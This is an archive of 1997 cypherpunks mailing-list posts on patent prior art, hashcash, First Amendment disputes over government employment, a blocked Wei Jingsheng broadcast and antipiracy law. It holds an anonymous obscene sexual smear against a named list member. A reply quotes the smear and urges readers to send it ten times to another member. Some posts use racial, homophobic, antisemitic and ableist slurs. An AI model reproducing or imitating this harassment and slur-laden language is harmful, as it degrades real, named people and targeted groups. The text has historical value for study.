In-Reply-To: <1.5.4.32.19971217041639.00758bfc@pop.pipeline.com>
Message-ID: <3.0.3.32.19971219034053.007a5100@pop.nh.ultranet.com  >
MIME-Version: 1.0
Content-Type: text/plain



At 10:18 AM 12/17/97 -0700, you wrote:
>
>Can patents be revoked due to prior art arguments?
>
>Jim Burnes
>

The short answer is yes. In the case here however it is not possible. 

When someone files for a US patent the only kind of foreign activity or
prior art the PTO can use to reject its claims is disclosure of the
invention in a printed publication or a foreign patent (the invention can
even be in use abroad but it will not affect the US application). This also
applies to later claims of invalidity by defendants being sued for
infringement by the patent holder. When the US patent here was filed there
was no prior art to speak of, inventions kept secret by those in the US or
abroad could not be used (not only because the PTO did not know about them). 

102(b) does allow an opportunity for an inventor who has kept their
invention secret to apply for a patent when they realize that someone has
'reinvented' it, but they must file for a patent within a year of it
becoming public or the opportunity is lost. So, the NSA or whomever can
come forward within that time period if they want a patent but in doing so
they will be required to not only prove the priority of their invention but
to make its details public. 

The bottom line is that secret information can never be used to prevent a
patent from issuing. The rationale behind the patent system is to grant
monopolies to inventors in return for making their invention public (which
occurs when a patent issues) which will spur further innovation etc..
"Prior Art" is by definition public, a piece of prior art is part of the
known 'art' of whatever field is involved. 

The only reason I am able to spin this out is because I took my patents and
trade secrets exam today, so take it with a pinch of salt. ;-)

I've attached the relevant section of the Patent Act below.

On a related note I have a copy of that "Data Embedding" patent issued to a
Los Alamos Scientist that was mentioned on the list a few weeks ago. I
don't know enough about stego to give a good description of what is novel
about it so maybe someone else might want to take a look. It is a few pages
of specification and claims with tiffs of source code embodying their
invention so its a little big. 


Julian Burke 


35 USCA s 102 
102. Conditions for patentability;  novelty and loss of right to patent

 A person shall be entitled to a patent unless--
 (a) the invention was known or used by others in this country, or patented
or described in a printed publication in this or a foreign country, before
the invention thereof by the applicant for patent, or

 (b) the invention was patented or described in a printed publication in
this or a foreign country or in public use or on sale in this country, more
than one year prior to the date of the application for patent in the United
States, or

 (c) he has abandoned the invention, or

 (d) the invention was first patented or caused to be patented, or was the
subject of an inventor's certificate, by the applicant or his legal
representatives or assigns in a foreign country prior to the date of the
application for patent in this country on an application for patent or
inventor's certificate filed more than twelve months before the filing of
the application in the United States, or

 (e) the invention was described in a patent granted on an application for
patent by another filed in the United States before the invention thereof
by the applicant for patent, or on an international application by another
who has fulfilled the requirements of paragraphs (1), (2), and (4) of
section 371(c) of this title before the invention thereof by the applicant
for patent, or

 (f) he did not himself invent the subject matter sought to be patented, or

 (g) before the applicant's invention thereof the invention was made in
this country by another who had not abandoned, suppressed, or concealed it.
 In determining priority of invention there shall be considered not only
the respective dates of conception and reduction to practice of the
invention, but also the reasonable diligence of one who was first to
conceive and last to reduce to practice, from a time prior to conception by
the other.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mark@unicorn.com
Date: Fri, 19 Dec 1997 20:49:42 +0800
To: cypherpunks@cyberpass.net
Subject: Re: message dependent hashcash => no double
Message-ID: <882535578.7907.193.133.230.33@unicorn.com>
MIME-Version: 1.0
Content-Type: text/plain



Steve Schear (schear@lvdi.net) wrote:
>We all know we must affix postage to our snailmail.
>Its time to embrace the postal system's paradigm and educate the reminder 
>of the Net.

That's an extremely bad analogy; we're not paying for the Net to carry
our mail, because we've already paid our ISP for that. We're paying for
remailers to process our mail or for humans to read it. A better analogy
would be for snail-junkmail to include a five dollar bill to encourage
people to open it rather than junk it unopened.

(Of course this really only applies to real digital cash, but that's
what hashcash is a substitute for.)

    Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 19 Dec 1997 20:28:33 +0800
To: cypherpunks@toad.com
Subject: Re: Warez 397
In-Reply-To: <Pine.BSF.3.91.971218064005.20153B-100000@mcfeely.bsfs.org>
Message-ID: <y1iyHe19w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Rabid Wombat <wombat@mcfeely.bsfs.org> writes:

>
> Larry;
>
> Knock it off, or I'll have to hide your booze again.

That would be censorship.

(I got so drunk last night that I can't sleep now. Ain't that something.)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 19 Dec 1997 20:26:36 +0800
To: cypherpunks@toad.com
Subject: Re: Freedom Forum report on the State of the First Amendment
In-Reply-To: <v0310280ab0bf85cba6f6@[207.167.93.63]>
Message-ID: <53iyHe20w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:

> At 4:46 PM -0700 12/18/97, Declan McCullagh wrote:
>
> >   Keynote speaker Keen Umbehr told the audience that he lost his job,
> >   his community and even family and friends during his First Amendment
> >   battle with the county commission in Wabaunsee County, Kansas.
> >
> >   Umbehr, who had a contract to haul the county's trash, also wrote
> >   editorials for the local newspaper, often alleging violations of law
> >   and other misconduct by the county commission. "What I wrote was true,
> >   and I could back it up," Umbehr said. "I believed that my
> >   constitutional rights were live and real, waiting to be activated. I
> >   felt that writing articles and speaking out about the government not
> >   only was my right, it was my duty to speak the truth, regardless of
> >   the fact that my whole livelihood was based on that county contract."
> >
> >   The county terminated his contract in retaliation for his articles.
> >   Umbehr sued, and the case went all the way to the U.S. Supreme Court.
> >   In June 1996 the court upheld Umbehr's free-speech rights.
>
> This is part of why the First Amendment is being eroded constantly. It is
> seen as a _political_ issue.
>
> The role of the _county_ in hiring or not hiring Keen Umbehr is
> problematic, but not because of prior restraint issues.
>
> Were far, far, far fewer persons hired by the government, the issue would
> be much simpler.
>
> Suppose RealBig Corporation fired Umbehr for his views. Would a First
> Amendment issue have arisen? Of course not. In a free society, RealBig is
> free to hire whom it wishes, and to refuse to hire niggers, homos,
> perverts, Jews, whatever. And to fire anyone who wrote opinions the
> managers at RealBig disliked.
>
> Mr. Umbehr may have had a cause of action based on his employment contract,
> and the various rules which govern government employees, but it was hardly
> a First Amendment case.
>
> Except in the "liberal" sense, which is exactly why the First is being eroded

This has no crypto relevance (not surprising, coming from Timmy)

1st Amendment says, "the congress shall pass no law".  It says nothing about
some redneck county not being allowed to curtail free speech.  if you don't
like it, move to another county.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 19 Dec 1997 21:48:55 +0800
To: cypherpunks@cyberpass.net
Subject: White House admits censoring Chinese dissident
Message-ID: <v03007809b0c029b6e1f0@[204.254.20.2]>
MIME-Version: 1.0
Content-Type: text/plain



===========

                            South China Morning Post

                               December 19, 1997

Storm over block on Wei TV broadcast; White House red-faced after
censorship admission

By Simon Beck


    The Clinton administration was in the middle of a firestorm yesterday
after officials admitted blocking a global broadcast of a Wei Jingsheng
interview for fear of annoying China.

    After winning praise for receiving Mr Wei in the White House last week,
President Bill Clinton's officials were embarrassed to have to admit
blocking the broadcast on the state-owned global network Worldnet.

    Officials tried in vain to stop the government radio station, Voice of
America (VOA), from broadcasting the interview, but succeeded in blocking
it from Worldnet.

    Both broadcasting arms are run by the official US Information Agency
(USIA).

    The revelations have not only embarrassed the White House, but cast new
light on the conditions with which Beijing asked Washington to comply in
return for Mr Wei's release last month.

    The interference came after the US Ambassador to China, James Sasser,
learned of the planned VOA interview and called the US National Security
Council to express his concern.

    Mr Sasser feared the broadcast would break promises supposed to have
been made to China that the US would not make political capital out of Mr
Wei's release.

    He also warned it could damage US efforts to win other dissidents'
release.

    USIA director Joseph Duffey confirmed Mr Sasser's intervention, and
said: "After I learned it was going to be broadcast, I delayed the Worldnet
telecast and I asked VOA not to telecast it, but they did anyway.

    "With Wei there was an implied commitment that our purpose was not
political exploitation. That's a commitment also in the negotiations, which
frankly now may be in the can."

    White House spokesman Mike McCurry said National Security Adviser Sandy
Berger warned VOA director Evelyn Lieberman.

    "We would not make any effort to violate what is a very important
principle - the editorial independence of VOA," he said.

    "At the same time, it is perfectly appropriate for VOA to understand
what the consequences of some of its broadcasts might be from our
perspective."

    Human Rights Watch Asia's Washington director Mike Jendrzejczyk was
shocked at the "about-face".

    "We can only assume from this that not offending Beijing is more
important to the administration than exerting pressure on China to release
more dissidents and improve its human rights record," he said.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Honig <honig@otc.net>
Date: Sat, 20 Dec 1997 02:24:59 +0800
To: Tim May <bd1011@hotmail.com>
Subject: Re: Can I do Pubkic Domain that -
In-Reply-To: <3.0.5.32.19971218135434.007b3e00@otc.net>
Message-ID: <3.0.5.32.19971219084949.007bc9a0@otc.net>
MIME-Version: 1.0
Content-Type: text/plain



At 06:39 PM 12/18/97 -0700, Tim May wrote:
>At 2:54 PM -0700 12/18/97, David Honig wrote:
>
>>I was alluding to the licensing of ordinary photocopiers and fax machines
>>(and computers,
>>and now internet connections) in statist nations, to prevent their "misuse".
>>In the 50's, the government should have
>>(from the control point of view) used the hysteria of the times to regulate
>>*domestic* use of reprogrammable computers.
>
>Nope. The government of the United States had no authority in the 1950s to
>regulate fax machines (which existed then), mimeograph machines (which
>existed then), or computers (which existed then).
>
>Perhaps you were thinking of the Soviet Union?
>
>--Tim May


Soviets, China, etc.  I was being facetious.  I understand that our pesky
constitution
prevents certain government behaviors, but they're working to eliminate
that problem.

cheers


------------------------------------------------------------
      David Honig                   Orbit Technology
     honig@otc.net                  Intaanetto Jigyoubu

	M-16 : Don Quixote :: PGP : Louis Freeh
         Let freedom ring (or screech at 28.8)
















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 20 Dec 1997 00:58:25 +0800
To: cypherpunks@cyberpass.net
Subject: Fees for delivery not set by standards committees
In-Reply-To: <349b9ea2.5036920@128.2.84.191>
Message-ID: <v03102802b0c04757302a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:26 PM -0700 12/17/97, Steve Schear wrote:
>>On 17 Dec 1997 02:21:48 -0600, in local.cypherpunks you wrote:
>>Yes, but if you just phase it in over time, what benefit, if any, will
>>users see until hashcash is fully deployed.  Until that time, people will
>>still have to accept email without hashcash or risk losing important
>>messages.
>
>If I want to send an important message to you and I get a hashcash
>rejection reponse and I'm given a Web site where I can get a Java applet
>to create the hashcash, I'll do it.  We all know we must affix postage to
>our snailmail. Its time to embrace the postal system's paradigm and
>educate the reminder of the Net.  Those

This "We all know we must affix postage to our snailmail. " is misleading,
as there is no "must affix postage" ontologically wired into mail delivery.
Or package delivery. Indeed, package deliverers charge what the market will
bear, and prices move around as competitors jockey for market share.

If a private network decides to charge for packet delivery, then the price
will be what the price is, determined by a variety of factors. Ditto for
remailers.

The solution is not at the "international standards" level.

>All we need is a small, influential, group to sing the praises of
>hashcash.  I'm sure Declan and Wired will pick up the banner if what we
>come up with works.  After that IETF activity is a far gone conclusion.

"Far gone" is probably correct. Foregone is not.

I doubt that puff pieces in "Wired" will do much. And all those cover
stories showing Jaron Lanier and his dreadlocks jacking into virtual
reality did exactly what for VR, besides selling some magazines?

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Honig <honig@otc.net>
Date: Sat, 20 Dec 1997 02:24:31 +0800
To: Marc Rotenberg <cypherpunks@toad.com
Subject: Re: Freedom Forum report on the State of the First Amendment
In-Reply-To: <v0310280ab0bf85cba6f6@[207.167.93.63]>
Message-ID: <3.0.5.32.19971219094521.007b9dc0@otc.net>
MIME-Version: 1.0
Content-Type: text/plain



At 10:40 PM 12/18/97 -0500, Marc Rotenberg wrote:

>
>Tim's analysis is nonsensical.
>
>A government employee loses his job because of his political
>views. He brings a lawsuit, alleging a violation of the First
>Amendment, and eventually prevails in the Supreme Court.
>
>A non-government employee who loses his job because of his
>political views would have no cause of action because the
>private employer is not bound by the First Amendment.
>
>Therefore there should be far fewer government employees
>to prevent further erosion of the First Amendment.

I.e., people not working for the government have no first-amendment claims
agains their employer since the *first amendment constrains only government*.


>>Suppose RealBig Corporation fired Umbehr for his views. Would a First
>>Amendment issue have arisen? Of course not. In a free society, RealBig is
>>free to hire whom it wishes, and to refuse to hire niggers, homos,
>>perverts, Jews, whatever. And to fire anyone who wrote opinions the
>>managers at RealBig disliked.
>
>Substitute "fascist society" for "free society" in the paragraph
>above and the discussion begins to make some sense. Hell, it's even
>historically accurate.

Marc, you have declared how far you take freedom: you apparently
believe it is proper for the government to intervene in private hiring
decisions.  Unfortunately many americans believe this intrusion is justified.

A less statist viewpoint holds that government should not be used to control
employment  since both parties consent voluntarily -and therefore,
an employer has the right to hire and fire at will -including for
'distasteful' reasons.

The issue is confounded in the anecdote because the employer is government
in this case, 
and we might expect government to be obligated to hire and fire only on the
basis of merit.  In a *free* world *employers* can fire for speech;
government can't
interfere in speech.  

In the US today, employers do not have that freedom.  Government outlaws
employers freedom to hire and fire ---except against recreational
pharmaceutical consumers--- and the populace considers this permissible in
the name of harmony.  

If one ever questions this in public, as Tim did, the liberal response is
to show that
unPC 'discrimination' is possible if humans are free, and then the dutiful
citizen gladly sacrifices employers' liberty for their warm and fuzzy
feelings.

The first amendment is about what government can't do to you, not what your
neighbor can or can't do.









------------------------------------------------------------
      David Honig                   Orbit Technology
     honig@otc.net                  Intaanetto Jigyoubu

	M-16 : Don Quixote :: PGP : Louis Freeh
         Let freedom ring (or screech at 28.8)
















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "S. M. Halloran" <mitch@duzen.com.tr>
Date: Fri, 19 Dec 1997 15:59:54 +0800
To: cypherpunks@cyberpass.net
Subject: Is Unix dying--or even dead?
Message-ID: <199712190745.JAA17166@ankara.duzen.com.tr>
MIME-Version: 1.0
Content-Type: text/plain



>From Edupage, 18 December 1997:

<---------->
TACTICAL SHIFT BY WORKSTATION COMPANIES
Silicon Graphics Inc.'s plan to allow SGI graphics software to run on
Microsoft's Windows NT operating system provides new evidence that a
growing number of companies are giving up on Unix and instead
standardizing on Windows NT.  SGI hopes to be able to use its
experience in developing high-end graphics software without having to
spend a great deal of time building the underlying technology
represented by an operating system. (Washington Post  17 Dec 97)
<---------->





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Sat, 20 Dec 1997 00:07:17 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: White House admits censoring Chinese dissident
In-Reply-To: <v03007809b0c029b6e1f0@[204.254.20.2]>
Message-ID: <199712191602.LAA01075@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03007809b0c029b6e1f0@[204.254.20.2]>, on 12/19/97 
   at 08:42 AM, Declan McCullagh <declan@well.com> said:

>    "We can only assume from this that not offending Beijing is more
>important to the administration than exerting pressure on China to
>release more dissidents and improve its human rights record," he said.

I think their biggest concern is not upsetting a major contributor to
their campain. :=/

Let's not forget that we have the '98 elections comming up and the
Democrats need that Chinese money to help them in their bid to retake the
House not to mention that the 2000 Presidential elections are not that far
off.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Version: 2.6.3a-sha1
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Sat, 20 Dec 1997 03:00:24 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Clinton signs draconian antipiracy law, from the Netly News
In-Reply-To: <v03102806b0bf39d5ce31@[207.167.93.63]>
Message-ID: <3.0.3.32.19971219101514.00713d68@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:30 PM 12/18/1997 -0700, Tim May wrote:
>What I meant by this was that the Copyright Cops will only go after those
>who illegally copy the items made by big corporations and other friends of
>the enforcers. Netscape and Oracle are Friends of Bill, so they'll get
>quick attention. Joe Blow will be put on hold.

Of course, most of your CDs are made by Disney-Sony-Megacorp, who are
also Friends of Bill.  On the other hand, one extra backup copy of
FooBar Development Tool will get you.

>"Anarchist's home in mountains raided...thousands of dollars worth of
>illegally copied articles, files, and CDs found...prosecutors say "three
>strikes" law could put anarchist separatist survalist spy May away for life
>without the possibility of parole."
>
>And now I need to go mount  that Leupold scope on my new Remington 700 .308
>sniper rifle....just the thing to reach out and touch someone.

I hope you didn't make a backup Xerox(tm) of the manual - 
it's part of that $1500 munitions system, and obviously most of the value
is in the intellectual property, not the boring metal....
				Thanks! 
					Bill
Bill Stewart, bill.stewart@pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Sat, 20 Dec 1997 02:59:41 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Clinton signs draconian antipiracy law, from the Netly News
In-Reply-To: <3.0.3.32.19971217170754.03dc2f70@pop.mindspring.com>
Message-ID: <3.0.3.32.19971219101847.00713d68@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:47 PM 12/18/1997 -0700, Tim May wrote:
>All of this about jail time for copying CDs is nonsense, even under the new
>law.
>
>Some years back, circa 1989-91 or so, Congress passed a new tax on blank
>tape and other such blank media...we've all been paying a little bit for
>blank media as a result of this law. (The name of the law is no longer on
>the tip of my tongue, but it was something about intellectual property
>rights, or somesuch--the name may be the "Home Recording Act," it now
>occurs to me.)
>
>One of the key provisions was that home taping, or archival taping, or
>taping for any _noncommercial_ use was now fully legal, with not even the
>hint of illegality.

But new laws generally override old laws.  After all, the old Copyright law
excepted "fair use" copies from its coverage.  The mere fact that they're
still taxing blank tape doesn't mean they can't re-criminalize copying.
				Thanks! 
					Bill
Bill Stewart, bill.stewart@pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sat, 20 Dec 1997 02:25:21 +0800
To: Anonymous <anon@anon.efga.org>
Subject: Re: your mail
In-Reply-To: <05a79d8a3ebc8dd3d1e6223c72ebb798@anon.efga.org>
Message-ID: <Pine.A41.3.95.971219104447.78996A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 19 Dec 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Timmy C. May will fuck anything that moves, 
> but he'd rather be fucking his own mother's 
> dead body.
> 
>      /'''
>      c-OO Timmy C. May
>         \
>        -
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 20 Dec 1997 02:57:44 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Freedom Forum report on the State of the First Amendment
In-Reply-To: <v03007800b0bf50ceed20@[207.172.112.244]>
Message-ID: <v03102800b0c060db7d2e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:45 AM -0700 12/19/97, David Honig wrote:

>The issue is confounded in the anecdote because the employer is government
>in this case,
>and we might expect government to be obligated to hire and fire only on the
>basis of merit.  In a *free* world *employers* can fire for speech;
>government can't
>interfere in speech.

Yes, this was my main point, that when viewing government AS AN EMPLOYER
there are things that government employer can do which would not be
permissable, constitutionally, for the government to do to ordinary
citizens. It can tell employees what clothing to wear (uniforms, dress
codes), it can tell employees where they must be at what times, and it can
even tell classes of employees what they may say even when not "on the job."

(Without getting into nitpicking, there are rules restricting what
employees of the military, for example, may say about political candidates.
Does this restrict their First Amendment rights? Not if they agreed to
these restrictions, as they did when they joined the military.)

And the government as an employer has all sorts of abilities to fire
employees who speak out of line. If the Secretary of State announces she is
now supporting a Republican candidate for President, does not President
Clinton have every right to can her? Or if the Director of the FBI
announces he has proof that Martians are beaming signals into his
fillings....

And employees of the NSA may be fired if they divulge information.

Or imagine a senior White House official announcing that Christianity is
sinful...are his religious freedoms being infringed upon if the President
fires him? How about if he was making his comments "after hours"? It makes
no difference.

And so on, for many such examples. None of these actions, in my view (and
apparently in the view of the courts, which have not thrown out such
government-as-employer rules), are violations of the First Amendment, or
any other amendments.

Some employees of the government may have employment contracts or union
contracts, and these may define the circumstances under which employees may
be fired, or disciplined, or told what they can say.

Now it may not be _smart_ of some government agency to try to restrict the
off-the-job speech of military personnel, NSA employees, or Department of
the Interior forest rangers, but the issues are not compelling First
Amendment issues.

The government AS EMPLOYER has the ability to impose restrictions on
employees, as all employers do, that are fundamentally different from the
restrictions government can impose on free citizens.

>In the US today, employers do not have that freedom.  Government outlaws
>employers freedom to hire and fire ---except against recreational
>pharmaceutical consumers--- and the populace considers this permissible in
>the name of harmony.

Indeed, we are moving away from "liberty" toward "fraternity" as the
cornerstone of our society.

>If one ever questions this in public, as Tim did, the liberal response is
>to show that
>unPC 'discrimination' is possible if humans are free, and then the dutiful
>citizen gladly sacrifices employers' liberty for their warm and fuzzy
>feelings.
>
>The first amendment is about what government can't do to you, not what your
>neighbor can or can't do.

Agreed, except that I would add that the Constitution doesn't preclude the
government, as an employer, from setting rules for its employees.

Even in George Washington's day, I'm sure if one of the White House's
servants announced that it was his constitutional right to say whatever he
pleased and to wear whatever he pleased and to pray to Baal 10 times a day,
that no one would take him seriously.

(Perhaps a Supreme Court clerk can begin speaking only in Urdu, and then
when he is fired he can file a lawsuit claiming his First Amendment rights
were violated?)

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Ray <jmr@shopmiami.com>
Date: Sat, 20 Dec 1997 00:07:20 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Re: White House admits censoring Chinese dissident
Message-ID: <3.0.16.19971219105001.3a7fa1a6@pop.gate.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 08:42 AM 12/19/97 -0500, Declan McCullagh wrote:
>===========
>
>                            South China Morning Post
>
>                               December 19, 1997
>
>Storm over block on Wei TV broadcast; White House red-faced after
>censorship admission
>
>By Simon Beck
>
>
>    The Clinton administration was in the middle of a firestorm yesterday
>after officials admitted blocking a global broadcast of a Wei Jingsheng
>interview for fear of annoying China.
>
>    After winning praise for receiving Mr Wei in the White House last week,
>President Bill Clinton's officials were embarrassed to have to admit
>blocking the broadcast on the state-owned global network Worldnet.
>
>    Officials tried in vain to stop the government radio station, Voice of
>America (VOA), from broadcasting the interview, but succeeded in blocking
>it from Worldnet.
>
>    Both broadcasting arms are run by the official US Information Agency
>(USIA).

...And people still wonder why us "social Darwinists" oppose
state ownership of "news" media. <sigh> I wonder if I should
say "'your taxes' _or_ 'their contributions' at work."
JMR

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Version: 2.6.2
Comment: Freedom isn't Freeh.

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=7hi3
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sat, 20 Dec 1997 00:32:22 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <05a79d8a3ebc8dd3d1e6223c72ebb798@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Timmy C. May will fuck anything that moves, 
but he'd rather be fucking his own mother's 
dead body.

     /'''
     c-OO Timmy C. May
        \
       -





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bruce Balden" <balden@mail.bc.rogers.wave.ca>
Date: Sat, 20 Dec 1997 03:41:02 +0800
To: "Marc Rotenberg" <honig@otc.net>
Subject: Re: Freedom Forum report on the State of the First Amendment
Message-ID: <01bd0cb3$3b343b40$69737018@eudoxus.bc.rogers.wave.ca>
MIME-Version: 1.0
Content-Type: text/plain





>The first amendment is about what government can't do to you, not what your
>neighbor can or can't do.
>
>
And whether the constitution so narrowly construed limits the action of
local councils. It would be extremely convenient if each fo the 50 states
adopted by custom each of the federal amendements mutatis mutandis.


However, freedom of expression in the US and elsewhere is mostly a limited,
but useful fiction.

While many have doubts about where strict freedom of speach should exist,
evidence is that is exists so long as the EFFECT of abberrent speech isn't
too disruptive to the established economic order.  So, for instance, using
the first amendment to tolerate pornographic works and such is against the
putative moral code of most Americans ca. 1950, but tolerating it didn't
really threaten any of the power elite.

Similarly, when the Civil Rights Act gave aggressive enforcement powers for
rights already guaranteed by the consitution, this meant that the power
elite was finally moved to act by massive pressure. Although social
conditioning may have taught southern white businessmen to look down on
negros, they knew that the negro economic power even at the time was very
significant.

America (and Canada, where this is been written from) are physically large
enough to have physically separated and opposed elite from different regions
who duke it out in Congress/Parliament.

So if you want the right to use strong encryption, or don't want CDA II to
ruin your life, appealing to the Constitution is not what I recommend.  If
people dislike porn enough, they'll **amend the constitution** if that's
what it takes.

>
>
>
>
>
>
>------------------------------------------------------------
>      David Honig                   Orbit Technology
>     honig@otc.net                  Intaanetto Jigyoubu
>
> M-16 : Don Quixote :: PGP : Louis Freeh
>         Let freedom ring (or screech at 28.8)
>
>
>
>
>
>
>
>
>
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 20 Dec 1997 03:38:58 +0800
To: Jim Burnes <honig@otc.net>
Subject: Re: Freedom Forum report on the State of the First Amendment
In-Reply-To: <3.0.5.32.19971219094521.007b9dc0@otc.net>
Message-ID: <v03102801b0c06a5ab870@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:58 AM -0700 12/19/97, Jim Burnes wrote:
>On Fri, 19 Dec 1997, David Honig wrote:  ...
>
>> If one ever questions this in public, as Tim did, the liberal response
>> is to show that unPC 'discrimination' is possible if humans are free,
>> and then the dutiful citizen gladly sacrifices employers' liberty for
>> their warm and fuzzy feelings.  The first amendment is about what
>> government can't do to you, not what your  neighbor can or can't do.
>
>Yeah.  The real question is what humans are free to do.  The freedom
>to do something is also the freedom *not* to do something.  The freedom
>to conduct a transaction (employing someone) must also be the freedom
>not to conduct that transaction because the transaction is voluntary.

Indeed, this is why I was very careful to include the magic phrase, "in a
free society." I rarely try to explain what's legal in the United States
today, as the U.S. has not been a free society in a long, long time.
(Arguably never, but I'm not quibbling about pure liberty, I mean that the
changes in the past 30-60 years have moved the U.S. very far from being a
free society.)

>Freedom of association cannot exist without the freedom to not associate.
>

Exactly. The confusing web of laws governing whom one can hire, whom one
_must_  hire, whom one may not fire without facing a civil lawsuit, etc.,
shows that freedom of association is dead in America. When a Christian
church is told that not hiring a Satanist will be a violation of Title VII
of the Civil Rights Act, we know we've plunged through the looking glass.

When a health food store faces a crippling lawsuit under Title VII because
it denied a job to a "person of poundage," the Mad Hatter is running the
show.

Megadittos for rules requiring access to cripples (*), rules requiring
non-smoking areas, rules requiring ethnic diversity in the workplace, and
on and on.

(* The cripples example is amusing, and sickening. A strip joint in LA,
which the City Fathers didn't want sullying their urban paradise, was
inspected for compliance with all of the thousands of laws. The inspectors
discovered that the "shower stage" in the center of the main room lacked
"wheelchair access." Under the Americans with Disabilities Act, the club
had to close until an evevator or ramp could be installed (presumably so
sickos could watch paraplegic strippers or flipper babes disrobing? Gimme a
break.).)

California is starting to unwind some of these unconstitutional (in the
"original" sense) rules. Quotas have ended, welfare is ending, etc. Maybe
some day we'll see freedom of association returned.

--Tim May



The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
